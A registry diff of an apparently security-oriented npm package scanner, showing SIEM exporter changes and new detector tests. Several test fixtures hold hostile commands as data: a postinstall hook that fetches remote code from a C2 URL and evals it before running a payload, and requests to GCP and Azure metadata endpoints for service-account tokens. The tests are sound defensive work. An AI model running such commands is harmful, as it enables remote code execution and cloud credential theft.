@lateos/npm-scan 0.18.3 → 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +32 -0
- package/README.md +864 -826
- package/VALIDATION.md +92 -0
- package/backend/cra.js +113 -21
- package/backend/db/pg-schema.sql +155 -0
- package/backend/db.js +18 -10
- package/backend/detectors/atk-001-lifecycle.js +5 -5
- package/backend/detectors/atk-002-obfusc.js +126 -47
- package/backend/detectors/atk-003-creds.js +8 -4
- package/backend/detectors/atk-004-persist.js +3 -3
- package/backend/detectors/atk-005-exfil.js +8 -4
- package/backend/detectors/atk-006-depconf.js +3 -3
- package/backend/detectors/atk-007-typosquat.js +64 -10
- package/backend/detectors/atk-008-tarball-tamper.js +6 -6
- package/backend/detectors/atk-009-dormant-trigger.js +9 -5
- package/backend/detectors/atk-010-sandbox-evasion.js +25 -10
- package/backend/detectors/atk-011-transitive-prop.js +14 -13
- package/backend/detectors/axios-poisoning/d1-version-fingerprint.js +4 -4
- package/backend/detectors/axios-poisoning/d2-decoy-dep.js +5 -1
- package/backend/detectors/axios-poisoning/d3-postinstall-rat.js +64 -19
- package/backend/detectors/axios-poisoning/index.js +77 -60
- package/backend/detectors/config/thresholds.js +111 -0
- package/backend/detectors/config/whitelist.json +74 -0
- package/backend/detectors/cve-2026-48710-badhost/codePattern.js +26 -9
- package/backend/detectors/cve-2026-48710-badhost/findings.js +8 -4
- package/backend/detectors/cve-2026-48710-badhost/index.js +1 -1
- package/backend/detectors/cve-2026-48710-badhost/manifest.js +127 -39
- package/backend/detectors/cve-2026-48710-badhost/transitive.js +87 -28
- package/backend/detectors/hf-impersonation/index.js +94 -31
- package/backend/detectors/hf-impersonation/jaro-winkler.js +33 -12
- package/backend/detectors/hf-impersonation/known-orgs.js +15 -3
- package/backend/detectors/hf-impersonation/simhash.js +2 -2
- package/backend/detectors/index.js +184 -31
- package/backend/detectors/lib/ast-patterns.js +24 -0
- package/backend/detectors/lib/entropy-analyzer.js +32 -0
- package/backend/detectors/megalodon/d1-workflow-scan.js +40 -16
- package/backend/detectors/megalodon/d2-credential-harvest.js +12 -5
- package/backend/detectors/megalodon/d3-publish-velocity.js +17 -11
- package/backend/detectors/megalodon/d4-publisher-drift.js +48 -16
- package/backend/detectors/megalodon/d5-bot-commit-identity.js +1 -1
- package/backend/detectors/megalodon/d6-date-anachronism.js +1 -1
- package/backend/detectors/megalodon/index.js +35 -25
- package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +3 -1
- package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +22 -10
- package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +30 -10
- package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +17 -13
- package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +12 -4
- package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +6 -2
- package/backend/detectors/mini-shai-hulud/index.js +63 -26
- package/backend/detectors/msh-supplement/d2-persistence.js +30 -12
- package/backend/detectors/msh-supplement/d3-geo-killswitch.js +20 -8
- package/backend/detectors/msh-supplement/d4-c2-deaddrop.js +19 -5
- package/backend/detectors/msh-supplement/index.js +78 -63
- package/backend/detectors/node-ipc-compromise/d1-version-blocklist.js +4 -2
- package/backend/detectors/node-ipc-compromise/d10-unauthorized-publisher.js +9 -5
- package/backend/detectors/node-ipc-compromise/d11-blast-radius.js +7 -3
- package/backend/detectors/node-ipc-compromise/d2-tarball-hash.js +9 -4
- package/backend/detectors/node-ipc-compromise/d3-cjs-payload-injection.js +7 -5
- package/backend/detectors/node-ipc-compromise/d4-injected-payload-hash.js +4 -2
- package/backend/detectors/node-ipc-compromise/d5-dns-c2-pattern.js +13 -10
- package/backend/detectors/node-ipc-compromise/d7-dns-txt-exfil.js +3 -1
- package/backend/detectors/node-ipc-compromise/d8-runtime-trigger.js +5 -2
- package/backend/detectors/node-ipc-compromise/index.js +21 -15
- package/backend/detectors/tier1-binary-embed.js +138 -41
- package/backend/detectors/tier1-cloud-imds.js +57 -37
- package/backend/detectors/tier1-encrypted-c2.js +198 -0
- package/backend/detectors/tier1-infostealer.js +121 -68
- package/backend/detectors/tier1-lifecycle-hook.js +63 -23
- package/backend/detectors/tier1-maintainer-compromise.js +157 -0
- package/backend/detectors/tier1-metadata-spoof.js +92 -42
- package/backend/detectors/tier1-multistage-postinstall.js +46 -19
- package/backend/detectors/tier1-obfuscation-heuristics.js +184 -0
- package/backend/detectors/tier1-self-propagation.js +115 -0
- package/backend/detectors/tier1-slsa-attestation.js +12 -0
- package/backend/detectors/tier1-transitive-deps.js +182 -0
- package/backend/detectors/tier1-typosquat.js +129 -50
- package/backend/detectors/tier1-version-anomaly.js +223 -0
- package/backend/detectors/tier1-version-confusion.js +79 -59
- package/backend/detectors/trapdoor/d1-campaign-marker.js +3 -1
- package/backend/detectors/trapdoor/d2-payload-fingerprint.js +1 -1
- package/backend/detectors/trapdoor/d3-publisher-blocklist.js +4 -3
- package/backend/detectors/trapdoor/d4-gists-exfil.js +4 -2
- package/backend/detectors/trapdoor/d5-ai-poisoning.js +5 -3
- package/backend/detectors/trapdoor/d6-lure-name.js +12 -7
- package/backend/detectors/trapdoor/d7-crypto-primitives.js +2 -2
- package/backend/detectors/trapdoor/d8-xor-key.js +7 -2
- package/backend/detectors/trapdoor/d9-cred-validation.js +4 -5
- package/backend/detectors/trapdoor/index.js +19 -14
- package/backend/detectors/typosquat-vpmdhaj/d1-maintainer.js +32 -8
- package/backend/detectors/typosquat-vpmdhaj/d2-preinstall-loader.js +5 -3
- package/backend/detectors/typosquat-vpmdhaj/d3-cred-exfil.js +34 -12
- package/backend/detectors/typosquat-vpmdhaj/index.js +78 -59
- package/backend/detectors.test.js +147 -0
- package/backend/fetch.js +37 -29
- package/backend/index.js +1 -1
- package/backend/license.js +20 -4
- package/backend/lockfile.js +60 -36
- package/backend/pdf.js +107 -28
- package/backend/policy.js +183 -56
- package/backend/provenance.js +28 -3
- package/backend/report.js +136 -70
- package/backend/sbom.js +33 -27
- package/backend/scripts/analyze-false-positives.js +152 -0
- package/backend/scripts/analyze-validation.js +157 -0
- package/backend/scripts/detect-false-positives.js +103 -0
- package/backend/scripts/fetch-top-packages.js +277 -0
- package/backend/scripts/validate-d10-d13.js +103 -0
- package/backend/scripts/validate-detectors.js +151 -0
- package/backend/siem/cef.js +23 -21
- package/backend/siem/ecs.js +3 -3
- package/backend/siem/index.js +1 -1
- package/backend/siem/qradar.js +3 -3
- package/backend/siem/sentinel.js +2 -2
- package/backend/tests-d5-enhanced.test.js +47 -0
- package/backend/tests-d6-version-anomaly.test.js +67 -0
- package/backend/tests-d6.test.js +126 -0
- package/backend/tests-d6c.test.js +119 -0
- package/backend/tests-d7-obfuscation.test.js +88 -0
- package/backend/tests.test.js +997 -0
- package/backend/vsix-scan/detectors/activation-event-risk.js +36 -19
- package/backend/vsix-scan/detectors/burst-publish.js +14 -7
- package/backend/vsix-scan/detectors/exfil-pattern.js +7 -3
- package/backend/vsix-scan/detectors/known-ioc.js +23 -8
- package/backend/vsix-scan/detectors/orphan-commit-fetch.js +11 -7
- package/backend/vsix-scan/detectors/publisher-anomaly.js +24 -10
- package/backend/vsix-scan/index.js +97 -41
- package/backend/vsix-scan/marketplace-client.js +29 -13
- package/cli/cli.js +154 -64
- package/package.json +36 -10
- package/.dockerignore +0 -20
- package/.husky/pre-commit +0 -1
- package/SECURITY.md +0 -73
- package/deploy/helm/npm-scan/Chart.yaml +0 -22
- package/deploy/helm/npm-scan/templates/_helpers.tpl +0 -9
- package/deploy/helm/npm-scan/templates/api.yaml +0 -94
- package/deploy/helm/npm-scan/templates/ingress.yaml +0 -28
- package/deploy/helm/npm-scan/templates/postgresql.yaml +0 -67
- package/deploy/helm/npm-scan/templates/secrets.yaml +0 -19
- package/deploy/helm/npm-scan/templates/worker.yaml +0 -32
- package/deploy/helm/npm-scan/values.byoc.yaml +0 -75
- package/deploy/helm/npm-scan/values.yaml +0 -103
- package/scripts/download-corpus.js +0 -30
- package/scripts/gen-mal-corpus.js +0 -35
- package/scripts/generate-campaign-fixtures.js +0 -170
- package/src/config/top-5000.json +0 -87
- package/test/fixtures/lockfiles/npm-lock.json +0 -69
- package/test/fixtures/lockfiles/pnpm-lock.yaml +0 -118
- package/test/fixtures/lockfiles/yarn.lock +0 -104
- package/test/fixtures/mock-data.js +0 -69
package/backend/siem/index.js
CHANGED
package/backend/siem/qradar.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
export function generateQRadar(scans) {
|
|
2
2
|
const events = [];
|
|
3
3
|
for (const s of scans) {
|
|
4
|
-
for (const f of
|
|
4
|
+
for (const f of s.findings || []) {
|
|
5
5
|
const atkId = f.atk_id || f.id;
|
|
6
6
|
events.push({
|
|
7
7
|
source: 'npm-scan',
|
|
@@ -32,7 +32,7 @@ export function generateQRadar(scans) {
|
|
|
32
32
|
});
|
|
33
33
|
}
|
|
34
34
|
}
|
|
35
|
-
return events.map(e => JSON.stringify(e)).join('\n');
|
|
35
|
+
return events.map((e) => JSON.stringify(e)).join('\n');
|
|
36
36
|
}
|
|
37
37
|
|
|
38
38
|
const QID_MAP = {
|
|
@@ -54,4 +54,4 @@ function _qrCategory(severity) {
|
|
|
54
54
|
low: 'Low Severity Malware',
|
|
55
55
|
};
|
|
56
56
|
return map[severity] || 'Medium Severity Malware';
|
|
57
|
-
}
|
|
57
|
+
}
|
package/backend/siem/sentinel.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
export function generateSentinel(scans) {
|
|
2
2
|
const events = [];
|
|
3
3
|
for (const s of scans) {
|
|
4
|
-
for (const f of
|
|
4
|
+
for (const f of s.findings || []) {
|
|
5
5
|
const atkId = f.atk_id || f.id;
|
|
6
6
|
events.push({
|
|
7
7
|
TimeGenerated: new Date().toISOString(),
|
|
@@ -25,4 +25,4 @@ export function generateSentinel(scans) {
|
|
|
25
25
|
}
|
|
26
26
|
}
|
|
27
27
|
return JSON.stringify(events, null, 2);
|
|
28
|
-
}
|
|
28
|
+
}
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
import { test, describe } from 'node:test';
|
|
2
|
+
import assert from 'assert/strict';
|
|
3
|
+
import * as detectors from './detectors/index.js';
|
|
4
|
+
|
|
5
|
+
describe('D5: Binary Embed Enhancement', () => {
|
|
6
|
+
test('D5: flags cross-platform campaign-1 binary set with high confidence', async () => {
|
|
7
|
+
const allFiles = [
|
|
8
|
+
{ path: 'bin/agent-linux-x64', content: String.fromCharCode(0x7f) + 'ELF' },
|
|
9
|
+
{ path: 'bin/agent-macos-arm64', content: String.fromCharCode(0xcf, 0xfa, 0xed, 0xfe) },
|
|
10
|
+
{ path: 'bin/agent-windows-x86.exe', content: String.fromCharCode(0x4d, 0x5a) },
|
|
11
|
+
];
|
|
12
|
+
const pkg = { name: 'suspicious-pkg', version: '1.0.0' };
|
|
13
|
+
const findings = await detectors.runAll(pkg, [], null, allFiles);
|
|
14
|
+
const matches = findings.filter((f) => f.id === 'TIER1-BINARY-EMBED');
|
|
15
|
+
assert(matches.length > 0, 'Expected TIER1-BINARY-EMBED finding');
|
|
16
|
+
const hasCrossPlatform = matches.some((m) =>
|
|
17
|
+
m.evidence.some((e) => e.includes('cross-platform'))
|
|
18
|
+
);
|
|
19
|
+
assert(hasCrossPlatform, 'Expected cross-platform binary set evidence');
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
test('D5: cross-platform binary set scores > 85', async () => {
|
|
23
|
+
const allFiles = [
|
|
24
|
+
{ path: 'bin/agent-linux-x64', content: String.fromCharCode(0x7f) + 'ELF' },
|
|
25
|
+
{ path: 'bin/agent-macos-arm64', content: String.fromCharCode(0xcf, 0xfa, 0xed, 0xfe) },
|
|
26
|
+
];
|
|
27
|
+
const pkg = { name: 'suspicious-pkg', version: '1.0.0' };
|
|
28
|
+
const findings = await detectors.runAll(pkg, [], null, allFiles);
|
|
29
|
+
const matches = findings.filter((f) => f.id === 'TIER1-BINARY-EMBED');
|
|
30
|
+
const hasHighScore = matches.some((m) => m.confidenceScore > 85);
|
|
31
|
+
assert(
|
|
32
|
+
hasHighScore,
|
|
33
|
+
`No finding with confidenceScore > 85; scores: ${matches.map((m) => m.confidenceScore).join(', ')}`
|
|
34
|
+
);
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
test('D5: single binary not flagged as cross-platform', async () => {
|
|
38
|
+
const allFiles = [{ path: 'bin/agent-linux-x64', content: String.fromCharCode(0x7f) + 'ELF' }];
|
|
39
|
+
const pkg = { name: 'normal-pkg', version: '1.0.0' };
|
|
40
|
+
const findings = await detectors.runAll(pkg, [], null, allFiles);
|
|
41
|
+
const matches = findings.filter((f) => f.id === 'TIER1-BINARY-EMBED');
|
|
42
|
+
const hasPlatformLabel = matches.some((m) =>
|
|
43
|
+
m.evidence.some((e) => e.includes('cross-platform'))
|
|
44
|
+
);
|
|
45
|
+
assert(!hasPlatformLabel, 'Single binary should not be flagged as cross-platform');
|
|
46
|
+
});
|
|
47
|
+
});
|
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
import { test, describe } from 'node:test';
|
|
2
|
+
import assert from 'assert/strict';
|
|
3
|
+
import * as detectors from './detectors/index.js';
|
|
4
|
+
|
|
5
|
+
describe('D6: Version Anomaly', () => {
|
|
6
|
+
test('D6: flags 99.99.99 when legitimate max is 5.3.2', async () => {
|
|
7
|
+
const pkg = { name: '@widget/core', version: '99.99.99' };
|
|
8
|
+
const registryMeta = ['1.0.0', '1.5.0', '2.0.0', '2.1.0', '3.0.0', '4.0.0', '5.0.0', '5.3.2'];
|
|
9
|
+
const findings = await detectors.runAll(pkg, [], registryMeta);
|
|
10
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
|
|
11
|
+
assert(match, 'Expected TIER1-VERSION-ANOMALY finding');
|
|
12
|
+
assert(match.confidenceScore > 90, `confidenceScore ${match.confidenceScore} <= 90`);
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
test('D6: flags 11.11.11 with high confidence', async () => {
|
|
16
|
+
const pkg = { name: 'internal-utils', version: '11.11.11' };
|
|
17
|
+
const registryMeta = ['1.0.0', '1.0.1', '1.1.0', '1.2.0', '2.0.0'];
|
|
18
|
+
const findings = await detectors.runAll(pkg, [], registryMeta);
|
|
19
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
|
|
20
|
+
assert(match, 'Expected TIER1-VERSION-ANOMALY finding');
|
|
21
|
+
assert(match.confidenceScore > 85, `confidenceScore ${match.confidenceScore} <= 85`);
|
|
22
|
+
});
|
|
23
|
+
|
|
24
|
+
test('D6: does NOT flag legitimate 2.0.0 jump from 1.9.9', async () => {
|
|
25
|
+
const pkg = { name: 'stable-lib', version: '2.0.0' };
|
|
26
|
+
const registryMeta = [
|
|
27
|
+
'1.0.0',
|
|
28
|
+
'1.1.0',
|
|
29
|
+
'1.2.0',
|
|
30
|
+
'1.3.0',
|
|
31
|
+
'1.4.0',
|
|
32
|
+
'1.5.0',
|
|
33
|
+
'1.6.0',
|
|
34
|
+
'1.7.0',
|
|
35
|
+
'1.8.0',
|
|
36
|
+
'1.9.0',
|
|
37
|
+
'1.9.9',
|
|
38
|
+
];
|
|
39
|
+
const findings = await detectors.runAll(pkg, [], registryMeta);
|
|
40
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
|
|
41
|
+
assert(!match, 'Should not flag legitimate 2.0.0 major bump');
|
|
42
|
+
});
|
|
43
|
+
|
|
44
|
+
test('D6: handles null registry gracefully — degrades confidence', async () => {
|
|
45
|
+
const pkg = { name: 'offline-pkg', version: '99.99.99' };
|
|
46
|
+
const findings = await detectors.runAll(pkg);
|
|
47
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
|
|
48
|
+
assert(match, 'Expected TIER1-VERSION-ANOMALY finding');
|
|
49
|
+
assert(match.confidenceScore < 70, `confidenceScore ${match.confidenceScore} >= 70`);
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
test('D6: no finding on KNOWN_REPUTABLE_PACKAGES regardless of version', async () => {
|
|
53
|
+
const pkg = { name: 'react', version: '99.99.99' };
|
|
54
|
+
const registryMeta = ['1.0.0', '2.0.0'];
|
|
55
|
+
const findings = await detectors.runAll(pkg, [], registryMeta);
|
|
56
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
|
|
57
|
+
assert(!match);
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
test('D6: no finding on normal semver within range', async () => {
|
|
61
|
+
const pkg = { name: 'widget-core', version: '5.4.1' };
|
|
62
|
+
const registryMeta = ['1.0.0', '2.0.0', '3.0.0', '4.0.0', '5.0.0', '5.4.0'];
|
|
63
|
+
const findings = await detectors.runAll(pkg, [], registryMeta);
|
|
64
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
|
|
65
|
+
assert(!match);
|
|
66
|
+
});
|
|
67
|
+
});
|
|
@@ -0,0 +1,126 @@
|
|
|
1
|
+
import { test, describe } from 'node:test';
|
|
2
|
+
import assert from 'assert/strict';
|
|
3
|
+
import * as detectors from './detectors/index.js';
|
|
4
|
+
|
|
5
|
+
// ─── D6a — tier1-version-confusion ──────────────────────────────────
|
|
6
|
+
|
|
7
|
+
describe('D6a — tier1-version-confusion', () => {
|
|
8
|
+
test('D6a: detects exact sentinel version 99.99.99', async () => {
|
|
9
|
+
const pkg = { name: 'internal-utils', version: '99.99.99' };
|
|
10
|
+
const findings = await detectors.runAll(pkg);
|
|
11
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
|
|
12
|
+
assert(match, 'Expected TIER1-VERSION-CONFUSION finding');
|
|
13
|
+
assert.equal(match.confidence, 'HIGH');
|
|
14
|
+
assert(match.confidenceScore >= 80, `confidenceScore ${match.confidenceScore} < 80`);
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
test('D6a: detects sentinel family versions 9.9.9 / 10.10.10 / 11.11.11', async () => {
|
|
18
|
+
for (const version of ['9.9.9', '10.10.10', '11.11.11']) {
|
|
19
|
+
const pkg = { name: 'corp-auth', version };
|
|
20
|
+
const findings = await detectors.runAll(pkg);
|
|
21
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
|
|
22
|
+
assert(match, `Expected finding for version ${version}`);
|
|
23
|
+
assert(
|
|
24
|
+
match.confidenceScore >= 60,
|
|
25
|
+
`confidenceScore ${match.confidenceScore} < 60 for version ${version}`
|
|
26
|
+
);
|
|
27
|
+
}
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
test('D6a: no finding on legitimate semver', async () => {
|
|
31
|
+
const pkg = { name: 'lodash', version: '4.17.21' };
|
|
32
|
+
const findings = await detectors.runAll(pkg);
|
|
33
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
|
|
34
|
+
assert(!match);
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
test('D6a: no finding on KNOWN_REPUTABLE_PACKAGES regardless of version', async () => {
|
|
38
|
+
const pkg = { name: 'react', version: '99.99.99' };
|
|
39
|
+
const findings = await detectors.runAll(pkg);
|
|
40
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
|
|
41
|
+
assert(!match);
|
|
42
|
+
});
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
// ─── D6b — tier1-multistage-postinstall ──────────────────────────────
|
|
46
|
+
|
|
47
|
+
describe('D6b — tier1-multistage-postinstall', () => {
|
|
48
|
+
test('D6b: detects two-stage download + binary execution in postinstall', async () => {
|
|
49
|
+
const pkg = {
|
|
50
|
+
name: 'malicious-pkg',
|
|
51
|
+
version: '1.0.0',
|
|
52
|
+
scripts: {
|
|
53
|
+
postinstall:
|
|
54
|
+
'node -e "fetch(process.env.C2_URL).then(r=>r.text()).then(eval)" && execFile("./payload")',
|
|
55
|
+
},
|
|
56
|
+
};
|
|
57
|
+
const findings = await detectors.runAll(pkg);
|
|
58
|
+
const match = findings.find((f) => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
59
|
+
assert(match, 'Expected TIER1-MULTISTAGE-POSTINSTALL finding');
|
|
60
|
+
assert.equal(match.confidence, 'HIGH');
|
|
61
|
+
assert(match.confidenceScore >= 80, `confidenceScore ${match.confidenceScore} < 80`);
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
test('D6b: detects detached background process spawn', async () => {
|
|
65
|
+
const pkg = {
|
|
66
|
+
name: 'persist-pkg',
|
|
67
|
+
version: '1.0.0',
|
|
68
|
+
scripts: {
|
|
69
|
+
postinstall: 'spawn("node", ["server.js"], { detached: true })',
|
|
70
|
+
},
|
|
71
|
+
};
|
|
72
|
+
const findings = await detectors.runAll(pkg);
|
|
73
|
+
const match = findings.find((f) => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
74
|
+
assert(match, 'Expected TIER1-MULTISTAGE-POSTINSTALL finding');
|
|
75
|
+
assert(match.confidenceScore >= 75, `confidenceScore ${match.confidenceScore} < 75`);
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
test('D6b: no finding on clean build script', async () => {
|
|
79
|
+
const pkg = {
|
|
80
|
+
name: 'clean-pkg',
|
|
81
|
+
version: '1.0.0',
|
|
82
|
+
scripts: {
|
|
83
|
+
postinstall: 'node build.js',
|
|
84
|
+
},
|
|
85
|
+
};
|
|
86
|
+
const findings = await detectors.runAll(pkg);
|
|
87
|
+
const match = findings.find((f) => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
88
|
+
assert(!match);
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
test('D6b: no duplicate finding when D3 already fires on same hook', async () => {
|
|
92
|
+
const pkg = {
|
|
93
|
+
name: 'dual-pkg',
|
|
94
|
+
version: '1.0.0',
|
|
95
|
+
scripts: {
|
|
96
|
+
postinstall:
|
|
97
|
+
'node -e "fetch(process.env.C2_URL).then(r=>r.text()).then(eval)" && execFile("./payload")',
|
|
98
|
+
},
|
|
99
|
+
};
|
|
100
|
+
const findings = await detectors.runAll(pkg);
|
|
101
|
+
const d6bMatches = findings.filter((f) => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
102
|
+
assert(d6bMatches.length > 0, 'Expected at least one TIER1-MULTISTAGE-POSTINSTALL finding');
|
|
103
|
+
assert.equal(d6bMatches[0].id, 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
104
|
+
assert(d6bMatches[0].id !== 'ATK-003');
|
|
105
|
+
});
|
|
106
|
+
});
|
|
107
|
+
|
|
108
|
+
// ─── D2 Miasma Signature ────────────────────────────────────────────
|
|
109
|
+
|
|
110
|
+
describe('D2 — named signature', () => {
|
|
111
|
+
test('D2 Miasma signature: detects "Miasma: The Spreading Blight" → CRITICAL', async () => {
|
|
112
|
+
const pkg = { name: 'test-pkg', version: '1.0.0' };
|
|
113
|
+
const jsFiles = [
|
|
114
|
+
{ path: 'evil.js', content: 'const id = "Miasma: The Spreading Blight"; doEvil();' },
|
|
115
|
+
];
|
|
116
|
+
const findings = await detectors.runAll(pkg, jsFiles, {}, []);
|
|
117
|
+
const match = findings.find((f) => f.id === 'TIER1-INFOSTEALER');
|
|
118
|
+
assert(match, 'Expected TIER1-INFOSTEALER finding from Miasma signature');
|
|
119
|
+
assert.equal(match.confidence, 'CRITICAL');
|
|
120
|
+
assert.equal(match.confidenceScore, 98);
|
|
121
|
+
assert(
|
|
122
|
+
match.evidence.some((e) => e.includes('Miasma: The Spreading Blight')),
|
|
123
|
+
'evidence should contain the signature string'
|
|
124
|
+
);
|
|
125
|
+
});
|
|
126
|
+
});
|
|
@@ -0,0 +1,119 @@
|
|
|
1
|
+
import { test, describe } from 'node:test';
|
|
2
|
+
import assert from 'assert/strict';
|
|
3
|
+
import * as detectors from './detectors/index.js';
|
|
4
|
+
|
|
5
|
+
// ─── D6a — tier1-version-confusion ──────────────────────────────────
|
|
6
|
+
|
|
7
|
+
describe('D6a — tier1-version-confusion', () => {
|
|
8
|
+
test('D6a: exact sentinel 99.99.99 → HIGH, confidenceScore >= 80', async () => {
|
|
9
|
+
const pkg = { name: 'internal-utils', version: '99.99.99' };
|
|
10
|
+
const findings = await detectors.runAll(pkg);
|
|
11
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
|
|
12
|
+
assert(match, 'Expected TIER1-VERSION-CONFUSION finding');
|
|
13
|
+
assert.equal(match.confidence, 'HIGH');
|
|
14
|
+
assert(match.confidenceScore >= 80, `confidenceScore ${match.confidenceScore} < 80`);
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
test('D6a: exact sentinel 9.9.9 → MEDIUM, confidenceScore >= 60', async () => {
|
|
18
|
+
const pkg = { name: 'corp-auth', version: '9.9.9' };
|
|
19
|
+
const findings = await detectors.runAll(pkg);
|
|
20
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
|
|
21
|
+
assert(match, 'Expected TIER1-VERSION-CONFUSION finding');
|
|
22
|
+
assert.equal(match.confidence, 'MEDIUM');
|
|
23
|
+
assert(match.confidenceScore >= 60, `confidenceScore ${match.confidenceScore} < 60`);
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
test('D6a: high-version heuristic 99.5.8 → MEDIUM, confidenceScore >= 60', async () => {
|
|
27
|
+
const pkg = { name: 'internal-payments', version: '99.5.8' };
|
|
28
|
+
const findings = await detectors.runAll(pkg);
|
|
29
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
|
|
30
|
+
assert(match, 'Expected TIER1-VERSION-CONFUSION finding');
|
|
31
|
+
assert.equal(match.confidence, 'MEDIUM');
|
|
32
|
+
assert(match.confidenceScore >= 60, `confidenceScore ${match.confidenceScore} < 60`);
|
|
33
|
+
});
|
|
34
|
+
|
|
35
|
+
test('D6a: heuristic does not fire on legitimate high patch, e.g. 1.99.0', async () => {
|
|
36
|
+
const pkg = { name: 'some-lib', version: '1.99.0' };
|
|
37
|
+
const findings = await detectors.runAll(pkg);
|
|
38
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
|
|
39
|
+
assert(!match);
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
test('D6a: no finding on legitimate semver 4.17.21', async () => {
|
|
43
|
+
const pkg = { name: 'lodash', version: '4.17.21' };
|
|
44
|
+
const findings = await detectors.runAll(pkg);
|
|
45
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
|
|
46
|
+
assert(!match);
|
|
47
|
+
});
|
|
48
|
+
|
|
49
|
+
test('D6a: no finding on KNOWN_REPUTABLE_PACKAGES regardless of version', async () => {
|
|
50
|
+
const pkg = { name: 'react', version: '99.99.99' };
|
|
51
|
+
const findings = await detectors.runAll(pkg);
|
|
52
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
|
|
53
|
+
assert(!match);
|
|
54
|
+
});
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
// ─── D6c — tier1-cloud-imds ─────────────────────────────────────────
|
|
58
|
+
|
|
59
|
+
describe('D6c — tier1-cloud-imds', () => {
|
|
60
|
+
test('D6c: detects GCP metadata endpoint in JS file', async () => {
|
|
61
|
+
const jsFiles = [
|
|
62
|
+
{
|
|
63
|
+
path: 'index.js',
|
|
64
|
+
content:
|
|
65
|
+
'fetch("http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")',
|
|
66
|
+
},
|
|
67
|
+
];
|
|
68
|
+
const findings = await detectors.runAll({ name: 'test-pkg' }, jsFiles);
|
|
69
|
+
const match = findings.find((f) => f.id === 'TIER1-CLOUD-IMDS');
|
|
70
|
+
assert(match, 'Expected TIER1-CLOUD-IMDS finding');
|
|
71
|
+
assert.equal(match.confidence, 'HIGH');
|
|
72
|
+
assert(match.confidenceScore >= 80, `confidenceScore ${match.confidenceScore} < 80`);
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
test('D6c: detects Azure IMDS endpoint in JS file', async () => {
|
|
76
|
+
const jsFiles = [
|
|
77
|
+
{
|
|
78
|
+
path: 'app.js',
|
|
79
|
+
content:
|
|
80
|
+
'axios.get("http://169.254.169.254/metadata/instance", { headers: { Metadata: "true" } })',
|
|
81
|
+
},
|
|
82
|
+
];
|
|
83
|
+
const findings = await detectors.runAll({ name: 'test-pkg' }, jsFiles);
|
|
84
|
+
const match = findings.find((f) => f.id === 'TIER1-CLOUD-IMDS');
|
|
85
|
+
assert(match, 'Expected TIER1-CLOUD-IMDS finding');
|
|
86
|
+
assert.equal(match.confidence, 'HIGH');
|
|
87
|
+
assert(match.confidenceScore >= 80, `confidenceScore ${match.confidenceScore} < 80`);
|
|
88
|
+
});
|
|
89
|
+
|
|
90
|
+
test('D6c: detects GCP/Azure pattern in postinstall script', async () => {
|
|
91
|
+
const pkg = {
|
|
92
|
+
name: 'malicious-pkg',
|
|
93
|
+
version: '1.0.0',
|
|
94
|
+
scripts: {
|
|
95
|
+
postinstall:
|
|
96
|
+
'node -e "require(\\"http\\").get(\\"http://metadata.google.internal/computeMetadata/v1/\\")"',
|
|
97
|
+
},
|
|
98
|
+
};
|
|
99
|
+
const findings = await detectors.runAll(pkg);
|
|
100
|
+
const match = findings.find((f) => f.id === 'TIER1-CLOUD-IMDS');
|
|
101
|
+
assert(match, 'Expected TIER1-CLOUD-IMDS finding');
|
|
102
|
+
assert.equal(match.confidence, 'HIGH');
|
|
103
|
+
